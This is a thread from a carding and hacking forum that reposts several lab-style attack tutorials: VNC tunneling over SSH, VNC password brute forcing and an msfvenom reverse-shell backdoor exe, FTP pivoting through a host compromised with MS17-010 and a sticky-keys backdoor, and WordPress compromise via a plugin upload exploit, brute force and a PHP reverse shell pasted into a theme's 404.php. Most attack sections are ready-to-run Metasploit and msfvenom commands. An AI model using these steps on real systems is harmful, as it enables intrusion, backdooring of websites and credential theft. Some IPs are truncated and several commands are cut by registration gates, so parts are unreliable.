[Guide] How to VNC tunneling over SSH

[Guide] How to VNC tunneling over SSH - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to VNC tunneling over SSH (/Thread-Guide-How-to-VNC-tunneling-over-SSH)

[Guide] How to VNC tunneling over SSH - NINZA - 05-14-2020

In the previous article we had performed VNC penetration testing and today you will VNC tunneling to connect the remote machine with VNC server when they both belong different network interface.
Basically, tunneling is a process which allows data sharing or communication between two different networks privately. Tunneling is normally performed through encapsulating the private network data and protocol information inside the public network broadcast units so that the private network protocol information visible to the public network as data.
Let’s Begin!!
Requirement:
Server machine(Ubuntu): Two network interface with activated SSH service
Local machine (Ubuntu): activated VNC service
Remote machine(window): with install tight VNC viewer
In the following image, we are trying to explain the VNC tunneling process where a remote PC of IP 192.168.1.225 is trying to connect to 10.0.0.20 which is on INTRANET of another network. To establish a connection with the local machine, remote PC will create VNC tunnel which will connect with the local system via SSH server machine.
[Image: 0.png?w=687&ssl=1]

Given the image below is describing the network configuration for server machine (SSH) where it is showing two IP 192.168.1.226 and another 10.0.0.10 as explain above.
[Image: 1.png?w=687&ssl=1]

Another image given below is describing network configuration for a local machine which is showing IP 10.0.0.20
[Image: 2.png?w=687&ssl=1]

Checking activated VNC service using the following command:
netstat -tlp
1
netstat -tlp
Hence from the given image, you can see the highlighted text is showing 5900 is enabled in the local machine.
[Image: 3.png?w=687&ssl=1]

Open the terminal and type using the following command to connecting to VNC machine (IP: 10.0.0.20) through server machine (IP: 10.0.0.10).
vncviewer 10.0.0.20
1
vncviewer 10.0.0.20
[Image: 4.png?w=687&ssl=1]

Great!! Local machine successfully connected
[Image: 5.png?w=687&ssl=1]

Similarly Using tight vnc viewer remote machine (192.168.1.225) now trying to connect local machine (IP: 10.0.0.10) as shown in the given image
[Image: 6.png?w=687&ssl=1]

Since they belong to the different network, therefore, he receives network error.
[Image: 7.png?w=687&ssl=1]

Follow given below step to connect remote machine to the local machine via ssh server.

Open TightVNC connection and enter the local machine IP: 0.0.20 with port 5900.
Enable SSH tunneling
Now enter ssh server IP: 168.1.226 with port 22 and ssh server username: ubuntu.

Congrats!!! The remote machine had successfully connected with the local machine through VNC.
[Image: 11.png?w=687&ssl=1]

Welcome to Internal penetration testing on VNC server where you will learn VNC installation and configuration, enumeration and attack, system security and precaution.
Table of Content

Introduction to VNC
Lab Set-Up Requirement
VNC Installation
Connect Window PC to VNC server
TCP Port Scanning
VNC Banner Grabbing
Password Attack
Access VNC with Kali Linux
Exploit VNC using Msfvenom
VNC Post Exploitation
Shift Default Port to Another

Introduction to VNC
Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction. It uses port 5900: VNC and 5901: VNC-1.
From Wikipedia
Penetration Lab Requirements
VNC Server: ubuntu
Attacker system: Kali Linux
Client system: window (tight VNC view)
Let’s start!!
VNC Installation
Open the terminal and follow the given below steps by executing a given command for VNC installation.
Given below command will install the desktop, Unity, as well as several packages that are required for the graphical interface to work properly.
sudo apt-get install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal
1
sudo apt-get install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal
[Image: 1.png?w=687&ssl=1]

Now type the following command for VNC server installation.
sudo apt-get install vnc4server
1
sudo apt-get install vnc4server
[Image: 2.png?w=687&ssl=1]

Given below command will reset your server password that is required for VNC login
sudo vncpasswd
1
sudo vncpasswd
The password should be a minimum 6 digits; I have set server password: 098765 for VNC authentication.
[Image: 3.png?w=687&ssl=1]

Type the given below command to run VNC
sudo vncserver :1
1
sudo vncserver :1
[Image: 4.png?w=687&ssl=1]

It is required to kill the process if you want to make some changes in running VNC server.
sudo vncserver -kill :1
1
sudo vncserver -kill :1
[Image: 5.png?w=687&ssl=1]

Now type the following command in order to open VNC startup file for making some changes.
sudo gedit ~/.vnc/xstartup
1
sudo gedit ~/.vnc/xstartup

Add given below line in startup file as shown in given and save the changes.
exec gnome-session &
exec gnome-panel &
exec gnome-settings-daemon &
exec metacity &
1
2
3
4
exec gnome-session &
exec gnome-panel &
exec gnome-settings-daemon &
exec metacity &
[Image: 7.png?w=687&ssl=1]

Execute given below command to set the resolution of the Desktop screen.
sudo vncserver :1 -geometry 1024x768 -depth 24
1
sudo vncserver :1 -geometry 1024x768 -depth 24
[Image: 8.png?w=687&ssl=1]

After following above 7 steps check service status of VNC server using given below command.
sudo netstat -tnl |grep 5901
1
sudo netstat -tnl |grep 5901
From the given image you can confirm that port 5901 is activated

Connect Window PC to VNC server
TightVNC is a free remote control software package that helps the client to connect with VNC server. I have

[To see content please register here]

it in the client machine so that he can connect to the vnc server.
Run TightVNC Viewer and enter [192.168.1.218:5901] server IP: port number as shown in the given image and then click on connect.
[Image: 10.png?w=687&ssl=1]

The client will get VNC authentication Pop up enter the server password which you have set above.
[Image: 11.png?w=687&ssl=1]

From the given image you can observe that window client is connected to ubuntu server and we have accessed his Desktop you can control it using mouse and keyboard.
[Image: 12.png?w=687&ssl=1]

TCP Port Scanning
Scanning plays an important role in penetration testing because through scanning attacker make sure which services and open ports are available for enumeration and attack.
Here we are using nmap for scanning port and protocols.
nmap -sT 192.168.1.218
1
nmap -sT 192.168.1.218
If service is activated in the targeted server then nmap shows open STATE for port 5901.
[Image: 13.png?w=687&ssl=1]

VNC Banner Grabbing
Following nmap command will Queries a VNC server for its protocol version and supported security types.
nmap -p 5901 --script vnc-info 192.168.1.218
1
nmap -p 5901 --script vnc-info 192.168.1.218
From given below image you can conclude that it has shown protocol version 3.8 and security type: VNC authentication 2.
[Image: 14.png?w=687&ssl=1]

Password Attack
This module will test a VNC server on a range of machines and report successful logins. Currently, it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge-response authentication method.
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 192.168.1.218
msf auxiliary(vnc_login) >set rport 5901
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
1
2
3
4
5
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 192.168.1.218
msf auxiliary(vnc_login) >set rport 5901
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
Awesome!! From given below image you can observe the same password: 098765 found by Metasploit.
[Image: 16.png?w=687&ssl=1]

Access VNC with Kali Linux
Open a new terminal and type following command for connecting with VNC server using above password 098765
vncviewer 192.168.1.218:5901
1
vncviewer 192.168.1.218:5901
[Image: 17.png?w=687&ssl=1]

Nice!! You can see after making successfully brute force attack, an attacker can easily connect with vnc server.
[Image: 18.png?w=687&ssl=1]

Exploit VNC using Msfvenom
Create a VNC payload using msfvenom and try to achieve a VNC shell of a victim’s PC.
Open the terminal in your Kali Linux and type following command to generate a VNC payload using the msfvenom command.
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.1.216 lport=4455 -f exe > /var/www/html/vnc.exe
1
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.1.216 lport=4455 -f exe > /var/www/html/vnc.exe
Now the above command will generate an exe file for the VNC payload in /var/www/html of Kali Linux.
[Image: 19.png?w=687&ssl=1]

Being an attack you need to send this backdoor to the target and start multi handler in the Metasploit framework.
use exploit/multi/handler
msf exploit(handler) > set payload windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.216
msf exploit(handler) > set lport 4455
msf exploit(handler) > set viewonly false
msf exploit(handler) > run
1
2
3
4
5
6
use exploit/multi/handler
msf exploit(handler) > set payload windows/vncinject/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.216
msf exploit(handler) > set lport 4455
msf exploit(handler) > set viewonly false
msf exploit(handler) > run
[Image: 20.png?w=687&ssl=1]

Now attacker tries to connect with the target using VNC payload, from given screenshot you can see it has launched vncviewer and we have our session 1 is running at background.
[Image: 21.png?w=687&ssl=1]

Here you can see the desktop screen of victim’s pc through will attacker is connected.
[Image: 22.png?w=687&ssl=1]

VNC Post Exploitation
Suppose you have already exploited any window system and got victim’s system reverse connection through the meterpreter session.
Type the given below command which will inject a VNC DLL via a reflective loader (staged). Connect back to the attacker.
meterpreter > run vnc
1
meterpreter > run vnc
[Image: 23.png?w=687&ssl=1]

Great!! Again the attacker is connected to a victim’s system.
[Image: 24.png?w=687&ssl=1]

Shift Default Port to Another
Open vnserver setup files using given below command:
sudo gedit /usr/bin/vncserver
1
sudo gedit /usr/bin/vncserver

Follow given below step for making changes
Add # to comment “vncport = 5900”
Add a new line as shown in given image for forwarding VNC service as vncPort = 8800;
[Image: 26.png?w=687&ssl=1]

Now try to connect with vnc server through port 8800 as connected above through TightVNC viewer and enter the password.
[Image: 27.png?w=687&ssl=1]

Hence you can see the vnc connection has been established successfully.
[Image: 28.png?w=687&ssl=1]

In our previous tutorial we had discussed on SSH pivoting & RDP pivoting and today you will learn FTP pivoting attack.
From Offensive Security
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit those systems which belong to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine: window operating system with two network interface
Target Machine: window 7 (Allow FTP service)
[Image: 1.png?w=687&ssl=1]

Exploit pivot machine
Use exploit MS17-010 or multi handler to hack the pivot machine and bypass its UAC to achieve admin privileges.
sessions
1
sessions
From the given image you can confirm that I owned a pivot machine (192.168.0.101) meterpreter sessions 1.
[Image: 2.png?w=687&ssl=1]

Launch the sticky key attack
Here I need to make post exploits to launch the sticky key attack
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 1
msf post(sticky_keys) >exploit
1
2
3
use post/windows/manage/sticky_keys
msf post(sticky_keys) > set session 1
msf post(sticky_keys) >exploit
Great!! It has successfully launched a sticky attack in pivot machine and now we will utilize it later for establishing a connection with the target FTP server.
[Image: 3.png?w=687&ssl=1]

Enable RDP service
Open meterpreter session1 and type following command which will enable remote Desktop service in the pivoted machine.
meterpreter> run getgui -e
1
meterpreter> run getgui -e
[Image: 4.png?w=687&ssl=1]

Verify the network interface of the pivot
Check the network interface through the following command:
meterpreter> ifconfig
1
meterpreter> ifconfig
From the given image you can observe two networks interface in pivot’s system 1st for IP 192.168.0.101 through which the attacker is connected and 2nd for IP 192.168.100.102 through which FTP server (targets) are connected.
[Image: 5.png?w=687&ssl=1]

Autoroute
Since the attacker belongs to 192.168.0.1 interface and client belongs to 192.168.100.0 interface, therefore, it is not possible to directly make an attack on client network until unless the attacker acquires the same network connection. In order to achieve 192.168.100.0 network attacker need to run the post exploitation “autoroute”.
This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. The default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit
1
2
3
use post/multi/manage/autoroute
msf post(autoroute) > set session 1
msf post(autoroute) > exploit
[Image: 6.png?w=687&ssl=1]

Ping Sweep
This module will perform IPv4 ping sweep using the OS included ping command.
use post/windows/gather/ping_sweep
msf post(ping_sweep) > set rhosts 192.168.100.1-110
msf post(ping_sweep) > set session 1
msf post(ping_sweep) > exploit
1
2
3
4
use post/windows/gather/ping_sweep
msf post(ping_sweep) > set rhosts 192.168.100.1-110
msf post(ping_sweep) > set session 1
msf post(ping_sweep) > exploit
Here we found a new host IP 192.168.100.103 as shown in the given image. Let’s perform TCP port scan for activated services on this machine.
[Image: 7.png?w=687&ssl=1]

Use TCP Port Scan
This module Enumerates open TCP services by performing a full TCP connect on each port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 21
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
1
2
3
4
5
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set ports 21
msf auxiliary(tcp) > set rhosts 192.168.100.103
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
From given you can observe port 21 is open and we know that 21 used for FTP services.
[Image: 8.png?w=687&ssl=1]

FTP Login Brute Force
This module will test FTP logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.100.103
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
1
2
3
4
5
6
use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set rhosts 192.168.100.103
msf auxiliary(ftp_login) > set user_file /root/Desktop/user.txt
msf auxiliary(ftp_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(ftp_login) > set stop_on_success true
msf auxiliary(ftp_login) > exploit
From the given image you can observe it is showing the matching combination of username: raj and password: 123 for login.
[Image: 9.png?w=687&ssl=1]

Connect to pivot through RDP
Open a new terminal in Kali Linux and type the following command to connect with pivot machine through RDP service
rdesktop 192.168.0.101
1
rdesktop 192.168.0.101
[Image: 10.png?w=687&ssl=1]

If you remember we had launched sticky attack above which will open a command prompt on logon screen when you will hit 5 times shift key.
Now press 5 times to shift key then you will get command prompt and type “start iexplore.exe” which will lunch Internet Explore.
[Image: 11.png?w=687&ssl=1]

Connect with FTP server
Execute the following URL in the browser for FTP connection:

[To see content please register here]

Now enter the credential which we had found through FTP login brute force attack i.e. raj: 123
[Image: 12.png?w=687&ssl=1]

Congrats!!! We are successfully connected with FTP server through pivot machine.
[Image: 13.png?w=687&ssl=1]

In our

[To see content please register here]

article we had discussed “WordPress Penetration Testing Lab Setup in Ubuntu” and today you will learn WordPress penetration testing using WPScan and Metasploit
Attacker: Kali Linux
Target: WordPress
WPScan is a black box vulnerability scanner for WordPress written in PHP mainly focus on different types of vulnerability in WordPress, WordPress themes, and plugins. Well, WPScan tool is already installed by default in Kali Linux, SamuraiWTF, Pentoo, BlackArch, and BackBox Linux. WPScanuses the database of all the available plugins and themes (approximately 18000 plugins and 2600 themes) during testing against the target to find outdated versions and vulnerabilities.
Things WPScan can do for you are:

Detect a version of currently installed WordPress.
Can detect sensitive files like readme, robots.txt, database replacing files, etc.
Detect enabled features on currently installed WordPress.
Enumerate theme version and name.
Detect installed plugins and can tell you if it is outdated or not.
Enumerate user names also.

Let’s start
Go to your Kali Linux terminal and type following to download wpscan from git hub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Now simply type in terminal to run the script:
./wpscan.rb -h
1
./wpscan.rb -h
Using default Option we will go to penetrate our WordPress website:
[Image: 2.png?w=687&ssl=1]

Scanning WordPress version of the target website
Wpscan is a great tool to scan WordPress websites. Now we will try to do some basic scan, we will use enumerate tools to find information about themes, plugins, usernames etc.
Now type the following command to scan WordPress and its server:
./wpscan.rb -u

[To see content please register here]

1
./wpscan.rb -u

[To see content please register here]

Instead of

[To see content please register here]

type the name of a website you want to scan.
Here it found server: Apache/2.4.7, PHP /5.5.9 WordPress version 4.8.1, using this information an attacker can check for its exploit in Google. Moreover, it also found that the upload directory has directory listing enable which means anyone can browse the directory /wp-content/uploads to view the uploaded files and contents.
[Image: 3.png?w=687&ssl=1]

Enumerating WordPress Theme
A theme controls the general look and feel of the website including things like page layout, widget locations, and default font and color choices. WordPress.com has a wide range of themes for its user and each theme has an about page that includes features and instructions.
To scan the installed theme of WordPress website type following command:
./wpscan.rb -u

[To see content please register here]

--enumerate t
1
./wpscan.rb -u

[To see content please register here]

--enumerate t
[Image: 5.png?w=687&ssl=1]

Enumerating WordPress vulnerable Theme
To scan the installed vulnerable theme of WordPress website type following command:
./wpscan.rb -u

[To see content please register here]

--enumerate vt
1
./wpscan.rb -u

[To see content please register here]

--enumerate vt
From scanning result, we didn’t find any vulnerable theme which means there is no vulnerable theme which can be exploited.
[Image: 6.1.png?w=687&ssl=1]

Enumerating WordPress Plugins
Plugins are a small piece of code of a program which can be added to a WordPress website to extend its functionality.
To find installed plugins on our target’s WordPress website, type in terminal:
./wpscan.rb -u

[To see content please register here]

--enumerate p
1
./wpscan.rb -u

[To see content please register here]

--enumerate p
[Image: 6.png?w=687&ssl=1]

Finally, after a few seconds, you will get the result of the installed plug-in. You can see that in my scan result askismet v3.3.3, pixabay-images v2.14, wptouch v3.4.3 such types of the installed plug-in are detected. As well as it also describes the last update and the latest version of that plug-in.
[Image: 7.png?w=687&ssl=1]

Enumerating WordPress vulnerable Plugins
Now type the following command to scan vulnerable plug-in of any WordPress website:
./wpscan.rb -u

[To see content please register here]

--enumerate vp
1
./wpscan.rb -u

[To see content please register here]

--enumerate vp
[Image: 8.png?w=687&ssl=1]

After a few seconds, you will get the result of the installed vulnerable plug-in of the website. From the given image you can observe that the red color indicates vulnerable plug-ins as well as a link of exploits CVE.
[Image: 9.png?w=687&ssl=1]

Exploit vulnerable plug-in using Metasploit
This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
Open the terminal load Metasploit framework and execute the following command:
use exploit/unix/webapp/wp_reflexgallery_file_upload
msf exploit(wp_reflexgallery_file_upload) > set rhost 192.168.0.101
msf exploit(wp_reflexgallery_file_upload) > set targetURI /wordpress/
msf exploit(wp_reflexgallery_file_upload) > exploit
1
2
3
4
use exploit/unix/webapp/wp_reflexgallery_file_upload
msf exploit(wp_reflexgallery_file_upload) > set rhost 192.168.0.101
msf exploit(wp_reflexgallery_file_upload) > set targetURI /wordpress/
msf exploit(wp_reflexgallery_file_upload) > exploit
Awesome!! From the given image you can observe the meterpreter session of victim’s web server.
meterpreter> sysinfo
1
meterpreter> sysinfo
[Image: 10.1.png?w=687&ssl=1]

Enumerating WordPress Usernames
In order to enumerate usernames of WordPress website execute the following command:
./wpscan.rb -u

[To see content please register here]

--enumerate u
1
./wpscan.rb -u

[To see content please register here]

--enumerate u
[Image: 10.png?w=687&ssl=1]

After some time it will dump the table of usernames. In this scan I had found three users with their Id as given below:
ID 1: admin
ID2: ignite
ID: demo
1
2
3
ID 1: admin
ID2: ignite
ID: demo
[Image: 11.png?w=687&ssl=1]

Enumerate ALL with a single command
Whatever we have scanned above can be easily enumerated at once by executing given below command:
./wpscan.rb -u

[To see content please register here]

-e at -e ap -e u
1
./wpscan.rb -u

[To see content please register here]

-e at -e ap -e u
–e: at: enumerate all themes of targeted website
–e: ap: enumerate all plugins of targeted website
–e: u: enumerate all usernames of targeted website
[Image: 12.png?w=687&ssl=1]

Brute force attack using Wpscan
With help of username which we had enumerated above, we can create a wordlist of password for user admin and can try brute force login attack using given below command.
./wpscan.rb –u

[To see content please register here]

--wordlist /root/Desktop/dict.txt --username admin
1
./wpscan.rb –u

[To see content please register here]

--wordlist /root/Desktop/dict.txt --username admin

It will start matching the valid combination of username and password for login and then dump the result, from the given image you can see it found login credential of the targeted website as admin: password.

Generate PHP backdoor in WordPress
You can use above credential for login into admin panel where we can upload any theme, taking advantage of admin right we will try to upload the malicious script to achieve reverse connection from victim’s system.
Once you are inside admin panel click on Appearance from the dashboard and then select option editor.
[Image: 14.png?w=687&ssl=1]

Now select template 404.php given on the right side of the frame; after that, you will found some php code in the middle frame for 404 temperate. Erase the entire php code so that you can add malicious php code for generating backdoor inside website as a new theme.
[Image: 15.png?w=687&ssl=1]

Now use msfvenom to generate malicious PHP script and type following command.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f raw
From the screenshot you can read the generated PHP script, at this instant we need to copy the text from *<?php……….die(); further, we will paste it inside WordPress template as a new theme.
[Image: 16.png?w=687&ssl=1]

Now past above copied PHP text *<?php……….die(); here as new theme under selected 404.php template.
[Image: 17.png?w=687&ssl=1]

On the other hand Load Metasploit framework and start multi/handler
use exploit/multi/handler
msf exploit(handler) >set payload php/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.0.107
msf exploit(handler) >4444
msf exploit(handler) >exploit
1
2
3
4
5
use exploit/multi/handler
msf exploit(handler) >set payload php/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.0.107
msf exploit(handler) >4444
msf exploit(handler) >exploit
[Image: 18.png?w=687&ssl=1]

When you will execute your uploaded theme 404.php in the browser you will receive reverse connection at multi/handler and get a meterpreter session of victim’s system.

[To see content please register here]

Here form screenshot you can see through meterpreter we have access victim’s shell.
meterpreter> sysinfo
1
meterpreter> sysinfo
In this way using WPSCAN and METASPLOIT admin can check the strength and weakness of WordPress website.
[Image: 20.png?w=687&ssl=1]